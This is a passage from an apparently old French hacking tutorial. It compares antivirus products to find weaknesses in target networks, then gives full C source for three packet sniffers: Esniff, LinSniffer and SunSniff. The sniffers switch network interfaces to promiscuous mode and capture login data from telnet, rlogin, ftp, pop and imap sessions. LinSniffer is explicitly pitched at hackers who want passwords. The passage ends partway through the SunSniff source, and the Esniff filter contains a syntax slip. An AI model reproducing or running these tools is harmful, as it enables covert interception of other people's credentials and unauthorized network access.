Ne fait pas de filtrage de spamming (haha!)
Il ne bloque pas les cookies (intéressant)
Les algorithmes de compression supportés: ARJ, ZIP
Ne détecte pas l'e-mail spoofing (intéressant)
TREND INTERSCAN VIRUS WALL
Recherche les virus sur le: HTTP, SMTP, FTP.
Recherche les magouilles sur les Applets
Recherche les certificats
Recherche de signatures
Recherche pas les sources
Filtre les E-mails
Fait un gestionnaire de délivrance de courrier
OPSEC Compliant (NT)
OPSEC Compliant (UNIX)
Ne fait pas de filtrage d'adresses url
Fait du filtrage de spamming
Il ne bloque pas les cookies
Les algorithmes de compression supportés: 19 types
Ne détecte pas l'e-mail spoofing

Ainsi on peut voir que TREND INTERSCAN VIRUS WALL est très fiable (plus que NORTON). Mais si cette liste est là c'est pour une raison: les réseaux utilisent toujours ces deux là (en général, attention!), pour se sécuriser. Donc il est possible d'étudier ce que fait et ne fait pas chacun de ces utilitaires, pour mieux se renseigner sur la cible! Un réseau n'utilisant que NORTON, ne sera pas assez sécurisé et présentera donc des failles (pas de filtrages mails par exemple).

Conclusion: on devrait s'en arrêter là pour les virus et le domaine qui tourne autour. Prochainement un "Culture" sur les Virus et Anti-virus, d'ici là potassez bien votre programmation.

Chapitre 2: Hunt

`/* Esniff.c */`

`#include <stdio.h>`
`#include <ctype.h>`
`#include <string.h>`

`#include <sys/time.h>`
`#include <sys/file.h>`
`#include <sys/stropts.h>`
`#include <sys/signal.h>`
`#include <sys/types.h>`
`#include <sys/socket.h>`
`#include <sys/ioctl.h>`

`#include <net/if.h>`
`#include <net/nit_if.h>`
`#include <net/nit_buf.h>`
`#include <net/if_arp.h>`

`#include <netinet/in.h>`
`#include <netinet/if_ether.h>`
`#include <netinet/in_systm.h>`
`#include <netinet/ip.h>`
`#include <netinet/udp.h>`
`#include <netinet/ip_var.h>`
`#include <netinet/udp_var.h>`
`#include <netinet/in_systm.h>`
`#include <netinet/tcp.h>`
`#include <netinet/ip_icmp.h>`

`#include <netdb.h>`
`#include <arpa/inet.h>`

`#define ERR stderr`

`char *malloc();`
`char *device,`
`*ProgName,`
`*LogName;`
`FILE *LOG;`
`int debug=0;`

`#define NIT_DEV "/dev/nit"`
`#define CHUNKSIZE 4096 /* device buffer size */`
`int if_fd = -1;`
`int Packet[CHUNKSIZE+32];`

`void Pexit(err,msg)`
`int err; char *msg;`
`{ perror(msg);`
`exit(err); }`

`void Zexit(err,msg)`
`int err; char *msg;`
`{ fprintf(ERR,msg);`
`exit(err); }`

`#define IP ((struct ip *)Packet)`
`#define IP_OFFSET (0x1FFF)`
`#define SZETH (sizeof(struct ether_header))`
`#define IPLEN (ntohs(ip->ip_len))`
`#define IPHLEN (ip->ip_hl)`
`#define TCPOFF (tcph->th_off)`
`#define IPS (ip->ip_src)`
`#define IPD (ip->ip_dst)`
`#define TCPS (tcph->th_sport)`
`#define TCPD (tcph->th_dport)`
`#define IPeq(s,t) ((s).s_addr == (t).s_addr)`

`#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))`

`#define MAXBUFLEN (128)`
`time_t LastTIME = 0;`

`struct CREC {`
`struct CREC *Next,`
`*Last;`
`time_t Time; /* start time */`
`struct in_addr SRCip,`
`DSTip;`
`u_int SRCport, /* src/dst ports */`
`DSTport;`
`u_char Data[MAXBUFLEN+2]; /* important stuff :-) */`
`u_int Length; /* current data length */`
`u_int PKcnt; /* # pkts */`
`u_long LASTseq;`
`};`

`struct CREC *CLroot = NULL;`

`char *Symaddr(ip)`
`register struct in_addr ip;`
`{ register struct hostent *he =`
`gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);`

`return( (he)?(he->h_name):(inet_ntoa(ip)) );`
`}`

`char *TCPflags(flgs)`
`register u_char flgs;`
`{ static char iobuf[8];`
`#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')`

`SFL(0,TH_FIN, 'F');`
`SFL(1,TH_SYN, 'S');`
`SFL(2,TH_RST, 'R');`
`SFL(3,TH_PUSH,'P');`
`SFL(4,TH_ACK, 'A');`
`SFL(5,TH_URG, 'U');`
`iobuf[6]=0;`
`return(iobuf);`
`}`

`char *SERVp(port)`
`register u_int port;`
`{ static char buf[10];`
`register char *p;`

`switch(port) {`
`case IPPORT_LOGINSERVER: p="rlogin"; break;`
`case IPPORT_TELNET: p="telnet"; break;`
`case IPPORT_SMTP: p="smtp"; break;`
`default: sprintf(buf,"%u",port); p=buf; break;`
`}`
`return(p);`
`}`

`char *Ptm(t)`
`register time_t *t;`
`{ register char *p = ctime(t);`
`p[strlen(p)-6]=0; /* strip " YYYY\n" */`
`return(p);`
`}`

`char *NOWtm()`
`{ time_t tm;`
`time(&tm);`
`return( Ptm(&tm) );`
`}`

`#define MAX(a,b) (((a)>(b))?(a):(b))`
`#define MIN(a,b) (((a)<(b))?(a):(b))`

`/* add an item */`
`#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \`
`register struct CREC *CLtmp = \`
`(struct CREC *)malloc(sizeof(struct CREC)); \`
`time( &(CLtmp->Time) ); \`
`CLtmp->SRCip.s_addr = SIP.s_addr; \`
`CLtmp->DSTip.s_addr = DIP.s_addr; \`
`CLtmp->SRCport = SPORT; \`
`CLtmp->DSTport = DPORT; \`
`CLtmp->Length = MIN(LEN,MAXBUFLEN); \`
`bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \`
`CLtmp->PKcnt = 1; \`
`CLtmp->Next = CLroot; \`
`CLtmp->Last = NULL; \`
`CLroot = CLtmp; \`
`}`

`register struct CREC *GET_NODE(Sip,SP,Dip,DP)`
`register struct in_addr Sip,Dip;`
`register u_int SP,DP;`
`{ register struct CREC *CLr = CLroot;`

`while(CLr != NULL) {`
`if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&`
`IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )`
`break;`
`CLr = CLr->Next;`
`}`
`return(CLr);`
`}`

`#define ADDDATA_NODE(CL,DATA,LEN) { \`
`bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \`
`CL->Length += LEN; \`
`}`

`#define PR_DATA(dp,ln) { \`
`register u_char lastc=0; \`
`while(ln-- >0) { \`
`if(*dp < 32) { \`
`switch(*dp) { \`
`case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \`
`break; \`
`case '\r': \`
`case '\n': fprintf(LOG,"\n : "); \`
`break; \`
`default : fprintf(LOG,"^%c", (*dp + 64)); \`
`break; \`
`} \`
`} else { \`
`if(isprint(*dp)) fputc(*dp,LOG); \`
`else fprintf(LOG,"(%d)",*dp); \`
`} \`
`lastc = *dp++; \`
`} \`
`fflush(LOG); \`
`}`

`void END_NODE(CLe,d,dl,msg)`
`register struct CREC *CLe;`
`register u_char *d;`
`register int dl;`
`register char *msg;`
`{`
`fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));`
`fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));`
`fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));`
`fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",`
`NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);`
`fprintf(LOG," DATA: ");`
`{ register u_int i = CLe->Length;`
`register u_char *p = CLe->Data;`
`PR_DATA(p,i);`
`PR_DATA(d,dl);`
`}`

`fprintf(LOG,"\n-- \n");`
`fflush(LOG);`

`if(CLe->Next != NULL)`
`CLe->Next->Last = CLe->Last;`
`if(CLe->Last != NULL)`
`CLe->Last->Next = CLe->Next;`
`else`
`CLroot = CLe->Next;`
`free(CLe);`
`}`

`/* 30 mins (x 60 seconds) */`
`#define IDLE_TIMEOUT 1800`
`#define IDLE_NODE() { \`
`time_t tm; \`
`time(&tm); \`
`if(LastTIME<tm) { \`
`register struct CREC *CLe,*CLt = CLroot; \`
`LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \`
`while(CLe=CLt) { \`
`CLt=CLe->Next; \`
`if(CLe->Time <tm) \`
`END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \`
`} \`
`} \`
`}`

`void filter(cp, pktlen)`
`register char *cp;`
`register u_int pktlen;`
`{`
`register struct ip *ip;`
`register struct tcphdr *tcph;`

`{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);`

`if(EtherType < 0x600) {`
`EtherType = *(u_short *)(cp + SZETH + 6);`
`cp+=8; pktlen-=8;`
`}`

`if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */`
`return;`
`}`

`/* ugh, gotta do an alignment :-( */`
`bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));`

`ip = (struct ip *)Packet;`
`if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */`
`return;`
`tcph = (struct tcphdr *)(Packet + IPHLEN);`

`if(!( (TCPD == IPPORT_TELNET) ||`
`(TCPD == IPPORT_LOGINSERVER) ||`
`)) return;`

`{ register struct CREC *CLm;`
`register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));`
`register u_char *p = (u_char *)Packet;`

`p += ((IPHLEN * 4) + (TCPOFF * 4));`

`if(debug) {`
`fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);`
`fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));`
`fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));`
`}`

`if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {`

`CLm->PKcnt++;`

`if(length>0)`
`if( (CLm->Length + length) < MAXBUFLEN ) {`
`ADDDATA_NODE( CLm, p,length);`
`} else {`
`END_NODE( CLm, p,length, "DATA LIMIT");`
`}`

`if(TCPFL(TH_FIN|TH_RST)) {`
`END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );`
`}`

`} else {`

`if(TCPFL(TH_SYN)) {`
`ADD_NODE(IPS,IPD,TCPS,TCPD,p,length);`
`}`

`}`

`IDLE_NODE();`

`}`

`}`

`/* signal handler`
`*/`
`void death()`
`{ register struct CREC *CLe;`

`while(CLe=CLroot)`
`END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");`

`fprintf(LOG,"\nLog ended at => %s\n",NOWtm());`
`fflush(LOG);`
`if(LOG != stdout)`
`fclose(LOG);`
`exit(1);`
`}`

`/* opens network interface, performs ioctls and reads from it,`
`* passing data to filter function`
`*/`
`void do_it()`
`{`
`int cc;`
`char *buf;`
`u_short sp_ts_len;`

`if(!(buf=malloc(CHUNKSIZE)))`
`Pexit(1,"Eth: malloc");`

`/* this /dev/nit initialization code pinched from etherfind */`
`{`
`struct strioctl si;`
`struct ifreq ifr;`
`struct timeval timeout;`
`u_int chunksize = CHUNKSIZE;`
`u_long if_flags = NI_PROMISC;`

`if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)`
`Pexit(1,"Eth: nit open");`

`if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)`
`Pexit(1,"Eth: ioctl (I_SRDOPT)");`

`si.ic_timout = INFTIM;`

`if(ioctl(if_fd, I_PUSH, "nbuf") < 0)`
`Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");`

`timeout.tv_sec = 1;`
`timeout.tv_usec = 0;`
`si.ic_cmd = NIOCSTIME;`
`si.ic_len = sizeof(timeout);`
`si.ic_dp = (char *)&timeout;`
`if(ioctl(if_fd, I_STR, (char *)&si) < 0)`
`Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");`

`si.ic_cmd = NIOCSCHUNK;`
`si.ic_len = sizeof(chunksize);`
`si.ic_dp = (char *)&chunksize;`
`if(ioctl(if_fd, I_STR, (char *)&si) < 0)`
`Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");`

`strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));`
`ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';`
`si.ic_cmd = NIOCBIND;`
`si.ic_len = sizeof(ifr);`
`si.ic_dp = (char *)&ifr;`
`if(ioctl(if_fd, I_STR, (char *)&si) < 0)`
`Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");`

`si.ic_cmd = NIOCSFLAGS;`
`si.ic_len = sizeof(if_flags);`
`si.ic_dp = (char *)&if_flags;`
`if(ioctl(if_fd, I_STR, (char *)&si) < 0)`
`Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");`

`if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)`
`Pexit(1,"Eth: ioctl (I_FLUSH)");`
`}`

`while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {`
`register char *bp = buf,`
`*bufstop = (buf + cc);`

`while (bp < bufstop) {`
`register char *cp = bp;`
`register struct nit_bufhdr *hdrp;`

`hdrp = (struct nit_bufhdr *)cp;`
`cp += sizeof(struct nit_bufhdr);`
`bp += hdrp->nhb_totlen;`
`filter(cp, (u_long)hdrp->nhb_msglen);`
`}`
`}`
`Pexit((-1),"Eth: read");`
`}`
`/* Authorize your proogie,generate your own password and uncomment here */`
`/* #define AUTHPASSWD "EloiZgZejWyms" */`

`void getauth()`
`{ char *buf,*getpass(),*crypt();`
`char pwd[21],prmpt[81];`

`strcpy(pwd,AUTHPASSWD);`
`sprintf(prmpt,"(%s)UP? ",ProgName);`
`buf=getpass(prmpt);`
`if(strcmp(pwd,crypt(buf,pwd)))`
`exit(1);`
`}`
`*/`
`void main(argc, argv)`
`int argc;`
`char **argv;`
`{`
`char cbuf[BUFSIZ];`
`struct ifconf ifc;`
`int s,`
`ac=1,`
`backg=0;`

`ProgName=argv[0];`

`/* getauth(); */`

`LOG=NULL;`
`device=NULL;`
`while((ac<argc) && (argv[ac][0] == '-')) {`
`register char ch = argv[ac++][1];`
`switch(toupper(ch)) {`
`case 'I': device=argv[ac++];`
`break;`
`case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))`
`Zexit(1,"Output file cant be opened\n");`
`break;`
`case 'B': backg=1;`
`break;`
`case 'D': debug=1;`
`break;`
`default : fprintf(ERR,`
`"Usage: %s [-b] [-d] [-i interface] [-f file]\n",`
`ProgName);`
`exit(1);`
`}`
`}`

`if(!device) {`
`if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)`
`Pexit(1,"Eth: socket");`

`ifc.ifc_len = sizeof(cbuf);`
`ifc.ifc_buf = cbuf;`
`if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)`
`Pexit(1,"Eth: ioctl");`

`close(s);`
`device = ifc.ifc_req->ifr_name;`
`}`

`fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);`
`fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",`
`(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");`

`if(!LOG)`
`LOG=stdout;`

`signal(SIGINT, death);`
`signal(SIGTERM,death);`
`signal(SIGKILL,death);`
`signal(SIGQUIT,death);`

`if(backg && debug) {`
`fprintf(ERR,"[Cannot bg with debug on]\n");`
`backg=0;`
`}`

`if(backg) {`
`register int s;`

`if((s=fork())>0) {`
`fprintf(ERR,"[pid %d]\n",s);`
`exit(0);`
`} else if(s<0)`
`Pexit(1,"fork");`

`if( (s=open("/dev/tty",O_RDWR))>0 ) {`
`ioctl(s,TIOCNOTTY,(char *)NULL);`
`close(s);`
`}`
`}`
`fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());`
`fflush(LOG);`

`do_it();`
`}`

- Gobbler: c'est un bon sniffer qui est singulier par sa présentation. Trouvable sur ftp://ftp.tortada.se/www/hokum/gobbler.zip
- ETHLOAD: un excellent sniffer ethernet qui permettait de surveiller les session "rlogin" et "telnet", ce sniffer n'étant plus distribué par les développeurs eux-mêmes, on peut le trouver sur: http://www.computercraft.com/noprogs/ethld104.zip
- LinSniff: pour tous les hackers qui veulent que les mots de passe. Celui-ci ne sniffe QUE les mots de passe. En voici le code source, à compiler en C:

`/*`
`LinSniffer 0.02 [BETA]`
`Mike Edulla`
`medulla@infosoc.com`
`DO NOT REDISTRIBUTE`
`*/`

`#include <sys/types.h>`
`#include <sys/socket.h>`
`#include <sys/time.h>`
`#include <netinet/in.h>`
`#include <netdb.h>`
`#include <string.h>`
`#include <linux/if.h>`
`#include <signal.h>`
`#include <stdio.h>`
`#include <arpa/inet.h>`
`#include <linux/socket.h>`
`#include <linux/ip.h>`
`#include <linux/tcp.h>`
`#include <linux/if_ether.h>`

`int openintf(char *);`
`int read_tcp(int);`
`int filter(void);`
`int print_header(void);`
`int print_data(int, char *);`
`char *hostlookup(unsigned long int);`
`void clear_victim(void);`

`struct etherpacket`
`{`
`struct ethhdr eth;`
`struct iphdr ip;`
`struct tcphdr tcp;`
`char buff[8192];`
`}ep;`

`struct`
`{`
`unsigned long saddr;`
`unsigned long daddr;`
`unsigned short sport;`
`unsigned short dport;`
`int bytes_read;`
`char active;`
`time_t start_time;`
`} victim;`

`struct iphdr *ip;`
`struct tcphdr *tcp;`

`#define CAPTLEN 512`
`#define TIMEOUT 30`

`int openintf(char *d)`
`{`
`int fd;`
`struct ifreq ifr;`
`int s;`
`fd=socket(AF_INET, SOCK_PACKET, htons(0x800));`
`if(fd < 0)`
`{`
`perror("cant get SOCK_PACKET socket");`
`exit(0);`
`}`
`strcpy(ifr.ifr_name, d);`
`s=ioctl(fd, SIOCGIFFLAGS, &ifr);`
`if(s < 0)`
`{`
`close(fd);`
`perror("cant get flags");`
`exit(0);`
`}`
`ifr.ifr_flags |= IFF_PROMISC;`
`s=ioctl(fd, SIOCSIFFLAGS, &ifr);`
`if(s < 0) perror("cant set promiscuous mode");`
`return fd;`
`}`

`int read_tcp(int s)`
`{`
`int x;`
`while(1)`
`{`
`x=read(s, (struct etherpacket *)&ep, sizeof(ep));`
`if(x > 1)`
`{`
`if(filter()==0) continue;`
`x=x-54;`
`if(x < 1) continue;`
`return x;`
`}`
`}`
`}`

`int filter(void)`
`{`
`int p;`
`p=0;`
`if(ip->protocol != 6) return 0;`
`if(victim.active != 0)`
`if(victim.bytes_read > CAPTLEN)`
`{`
`printf("\n----- [CAPLEN Exceeded]\n");`
`clear_victim();`
`return 0;`
`}`
`if(victim.active != 0)`
`if(time(NULL) > (victim.start_time + TIMEOUT))`
`{`
`printf("\n----- [Timed Out]\n");`
`clear_victim();`
`return 0;`
`}`
`if(ntohs(tcp->dest)==21) p=1; /* ftp */`
`if(ntohs(tcp->dest)==23) p=1; /* telnet */`
`if(ntohs(tcp->dest)==110) p=1; /* pop3 */`
`if(ntohs(tcp->dest)==109) p=1; /* pop2 */`
`if(ntohs(tcp->dest)==143) p=1; /* imap2 */`
`if(ntohs(tcp->dest)==513) p=1; /* rlogin */`
`if(ntohs(tcp->dest)==106) p=1; /* poppasswd */`
`if(victim.active == 0)`
`if(p == 1)`
`if(tcp->syn == 1)`
`{`
`victim.saddr=ip->saddr;`
`victim.daddr=ip->daddr;`
`victim.active=1;`
`victim.sport=tcp->source;`
`victim.dport=tcp->dest;`
`victim.bytes_read=0;`
`victim.start_time=time(NULL);`
`print_header();`
`}`
`if(tcp->dest != victim.dport) return 0;`
`if(tcp->source != victim.sport) return 0;`
`if(ip->saddr != victim.saddr) return 0;`
`if(ip->daddr != victim.daddr) return 0;`
`if(tcp->rst == 1)`
`{`
`victim.active=0;`
`alarm(0);`
`printf("\n----- [RST]\n");`
`clear_victim();`
`return 0;`
`}`
`if(tcp->fin == 1)`
`{`
`victim.active=0;`
`alarm(0);`
`printf("\n----- [FIN]\n");`
`clear_victim();`
`return 0;`
`}`
`return 1;`
`}`

`int print_header(void)`
`{`
`puts(" ");`
`printf("%s => ", hostlookup(ip->saddr));`
`printf("%s [%d]\n", hostlookup(ip->daddr), ntohs(tcp->dest));`
`}`

`int print_data(int datalen, char *data)`
`{`
`int i=0;`
`int t=0;`

`victim.bytes_read=victim.bytes_read+datalen;`
`for(i=0;i != datalen;i++)`
`{`
`if(data[i] == 13) {puts(" ");t=0;}`
`if(isprint(data[i])) {printf("%c", data[i]);t++;}`
`if(t > 75) {t=0;puts(" ");}`
`}`
`}`

`main()`
`{`
`int s;`
`s=openintf("eth0");`
`ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);`
`tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);`
`signal(SIGHUP, SIG_IGN);`
`clear_victim();`
`for(;;)`
`{`
`read_tcp(s);`
`if(victim.active != 0) print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2);`
`}`
`}`

`char *hostlookup(unsigned long int in)`
`{`
`static char blah[1024];`
`struct in_addr i;`
`struct hostent *he;`

`i.s_addr=in;`
`he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET);`
`if(he == NULL) strcpy(blah, inet_ntoa(i));`
`else strcpy(blah, he->h_name);`
`return blah;`
`}`

`void clear_victim(void)`
`{`
`victim.saddr=0;`
`victim.daddr=0;`
`victim.sport=0;`
`victim.dport=0;`
`victim.active=0;`
`victim.bytes_read=0;`
`victim.start_time=0;`
`}`

- Toujours dans les sniffers vous avez SunSniff, à faire tourner sous SunOS, en voici le code source:

`#include <stdio.h>`
`#include <ctype.h>`
`#include <string.h>`

`#include <sys/time.h>`
`#include <sys/file.h>`
`#include <sys/stropts.h>`
`#include <sys/signal.h>`
`#include <sys/types.h>`
`#include <sys/socket.h>`
`#include <sys/ioctl.h>`

`#include <net/if.h>`
`#include <net/nit_if.h>`
`#include <net/nit_buf.h>`
`#include <net/if_arp.h>`

`#include <netinet/in.h>`
`#include <netinet/if_ether.h>`
`#include <netinet/in_systm.h>`
`#include <netinet/ip.h>`
`#include <netinet/udp.h>`
`#include <netinet/ip_var.h>`
`#include <netinet/udp_var.h>`
`#include <netinet/in_systm.h>`
`#include <netinet/tcp.h>`
`#include <netinet/ip_icmp.h>`

`#include <netdb.h>`
`#include <arpa/inet.h>`

`#define ERR stderr`

`char *malloc();`
`char *device,`
`*ProgName,`
`*LogName;`
`FILE *LOG;`
`int debug=0;`

`#define NIT_DEV "/dev/le0"`
`#define CHUNKSIZE 4096 /* device buffer size */`
`int if_fd = -1;`
`int Packet[CHUNKSIZE+32];`

`void Pexit(err,msg)`
`int err; char *msg;`
`{ perror(msg);`
`exit(err); }`

`void Zexit(err,msg)`
`int err; char *msg;`
`{ fprintf(ERR,msg);`
`exit(err); }`

`#define IP ((struct ip *)Packet)`
`#define IP_OFFSET (0x1FFF)`
`#define SZETH (sizeof(struct ether_header))`
`#define IPLEN (ntohs(ip->ip_len))`
`#define IPHLEN (ip->ip_hl)`
`#define TCPOFF (tcph->th_off)`
`#define IPS (ip->ip_src)`
`#define IPD (ip->ip_dst)`
`#define TCPS (tcph->th_sport)`
`#define TCPD (tcph->th_dport)`
`#define IPeq(s,t) ((s).s_addr == (t).s_addr)`

`#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))`

`#define MAXBUFLEN (128)`
`time_t LastTIME = 0;`

`struct CREC {`
`struct CREC *Next,`
`*Last;`
`time_t Time; /* start time */`
`struct in_addr SRCip,`
`DSTip;`
`u_int SRCport, /* src/dst ports */`
`DSTport;`
`u_char Data[MAXBUFLEN+2]; /* important stuff :-) */`
`u_int Length; /* current data length */`
`u_int PKcnt; /* # pkts */`
`u_long LASTseq;`
`};`

`struct CREC *CLroot = NULL;`

`char *Symaddr(ip)`
`register struct in_addr ip;`
`{ register struct hostent *he =`
`gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);`

`return( (he)?(he->h_name):(inet_ntoa(ip)) );`
`}`

`char *TCPflags(flgs)`
`register u_char flgs;`
`{ static char iobuf[8];`
`#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')`

`SFL(0,TH_FIN, 'F');`
`SFL(1,TH_SYN, 'S');`
`SFL(2,TH_RST, 'R');`
`SFL(3,TH_PUSH,'P');`
`SFL(4,TH_ACK, 'A');`
`SFL(5,TH_URG, 'U');`
`iobuf[6]=0;`
`return(iobuf);`
`}`

`char *SERVp(port)`
`register u_int port;`
`{ static char buf[10];`
`register char *p;`

`switch(port) {`
`case IPPORT_LOGINSERVER: p="rlogin"; break;`
`case IPPORT_TELNET: p="telnet"; break;`
`case IPPORT_SMTP: p="smtp"; break;`
`case IPPORT_FTP: p="ftp"; break;`
`default: sprintf(buf,"%u",port); p=buf; break;`
`}`
`return(p);`
`}`

`char *Ptm(t)`
`register time_t *t;`
`{ register char *p = ctime(t);`
`p[strlen(p)-6]=0; /* strip " YYYY\n" */`
`return(p);`
`}`

`char *NOWtm()`
`{ time_t tm;`
`time(&tm);`
`return( Ptm(&tm) );`
`}`

`#define MAX(a,b) (((a)>(b))?(a):(b))`
`#define MIN(a,b) (((a)<(b))?(a):(b))`

`/* add an item */`
`#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \`
`register struct CREC *CLtmp = \`
`(struct CREC *)malloc(sizeof(struct CREC)); \`
`time( &(CLtmp->Time) ); \`
`CLtmp->SRCip.s_addr = SIP.s_addr; \`
`CLtmp->DSTip.s_addr = DIP.s_addr; \`
`CLtmp->SRCport = SPORT; \`
`CLtmp->DSTport = DPORT; \`
`CLtmp->Length = MIN(LEN,MAXBUFLEN); \`
`bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \`
`CLtmp->PKcnt = 1; \`
`CLtmp->Next = CLroot; \`
`CLtmp->Last = NULL; \`
`CLroot = CLtmp; \`
`}`

`register struct CREC *GET_NODE(Sip,SP,Dip,DP)`
`register struct in_addr Sip,Dip;`
`register u_int SP,DP;`
`{ register struct CREC *CLr = CLroot;`

`while(CLr != NULL) {`
`if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&`
`IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )`
`break;`
`CLr = CLr->Next;`
`}`
`return(CLr);`
`}`

`#define ADDDATA_NODE(CL,DATA,LEN) { \`
`bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \`
`CL->Length += LEN; \`
`}`

`#define PR_DATA(dp,ln) { \`
`register u_char lastc=0; \`
`while(ln-- >0) { \`
`if(*dp < 32) { \`
`switch(*dp) { \`
`case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \`
`break; \`
`case '\r': \`
`case '\n': fprintf(LOG,"\n : "); \`
`break; \`
`default : fprintf(LOG,"^%c", (*dp + 64)); \`
`break; \`
`} \`
`} else { \`
`if(isprint(*dp)) fputc(*dp,LOG); \`
`else fprintf(LOG,"(%d)",*dp); \`
`} \`
`lastc = *dp++; \`
`} \`
`fflush(LOG); \`
`}`

`void END_NODE(CLe,d,dl,msg)`
`register struct CREC *CLe;`
`register u_char *d;`
`register int dl;`
`register char *msg;`
`{`
`fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));`
`fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));`
`fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));`
`fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",`
`NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg);`
`fprintf(LOG," DATA: ");`
`{ register u_int i = CLe->Length;`
`register u_char *p = CLe->Data;`
`PR_DATA(p,i);`
`PR_DATA(d,dl);`
`}`

`fprintf(LOG,"\n-- \n");`
`fflush(LOG);`

`if(CLe->Next != NULL)`
`CLe->Next->Last = CLe->Last;`
`if(CLe->Last != NULL)`
`CLe->Last->Next = CLe->Next;`
`else`
`CLroot = CLe->Next;`
`free(CLe);`
`}`

`/* 30 mins (x 60 seconds) */`
`#define IDLE_TIMEOUT 1800`
`#define IDLE_NODE() { \`
`time_t tm; \`
`time(&tm); \`
`if(LastTIME<tm) { \`
`register struct CREC *CLe,*CLt = CLroot; \`
`LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \`
`while(CLe=CLt) { \`
`CLt=CLe->Next; \`
`if(CLe->Time <tm) \`
`END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \`
`} \`
`} \`
`}`

`void filter(cp, pktlen)`
`register char *cp;`
`register u_int pktlen;`
`{`
`register struct ip *ip;`
`register struct tcphdr *tcph;`

`{ register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);`

`if(EtherType < 0x600) {`
`EtherType = *(u_short *)(cp + SZETH + 6);`
`cp+=8; pktlen-=8;`
`}`

`if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */`
`return;`
`}`

`/* ugh, gotta do an alignment :-( */`
`bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));`

`ip = (struct ip *)Packet;`
`if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */`
`return;`
`tcph = (struct tcphdr *)(Packet + IPHLEN);`

`if(!( (TCPD == IPPORT_TELNET) ||`
`(TCPD == IPPORT_LOGINSERVER) ||`
`(TCPD == IPPORT_FTP)`
`)) return;`

`{ register struct CREC *CLm;`
`register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));`
`register u_char *p = (u_char *)Packet;`

`p += ((IPHLEN * 4) + (TCPOFF * 4));`

`if(debug) {`
`fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);`
`fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));`
`fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));`
`}`

